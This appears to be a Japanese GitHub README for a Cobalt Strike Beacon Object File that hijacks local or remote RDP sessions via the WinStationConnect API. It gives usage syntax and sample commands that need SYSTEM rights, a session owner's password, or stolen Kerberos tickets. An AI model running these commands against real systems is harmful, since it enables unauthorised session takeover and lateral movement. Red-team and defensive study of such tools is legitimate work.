netero1010/rdphijack-bofWinStationConnect APIを使用してローカル/リモートのRDPセッションハイジャックを実行するCobalt Strike Beacon Object File (BOF)
WinStationConnect APIを使用してローカル/リモートのRDPセッションハイジャックを行うCobalt Strike Beacon Object File (BOF)です。有効なアクセストークン/ケルベロスチケット（例：ゴールデンチケット）をセッション所有者から取得すれば、ターゲットサーバーにビーコンやツールを配置することなく、リモートでセッションをハイジャックできます。
セッションをローカル/リモートで列挙するには、Quser-BOF を使用できます。
Usage: bof-rdphijack [your console session id] [target session id to hijack] [password|server] [argument]
Command Description
-------- -----------
password Specifies the password of the user who owns the session to which you want to connect.
server Specifies the remote server that you want to perform RDP hijacking.
Sample usage
--------
Redirect session 2 to session 1 (require SYSTEM privilege):
bof-rdphijack 1 2
Redirect session 2 to session 1 with password of the user who owns the session 2 (require high integrity beacon):
bof-rdphijack 1 2 password P@ssw0rd123
Redirect session 2 to session 1 for a remote server (require token/ticket of the user who owns the session 2):
bof-rdphijack 1 2 server SQL01.lab.internal
make
tscon.exe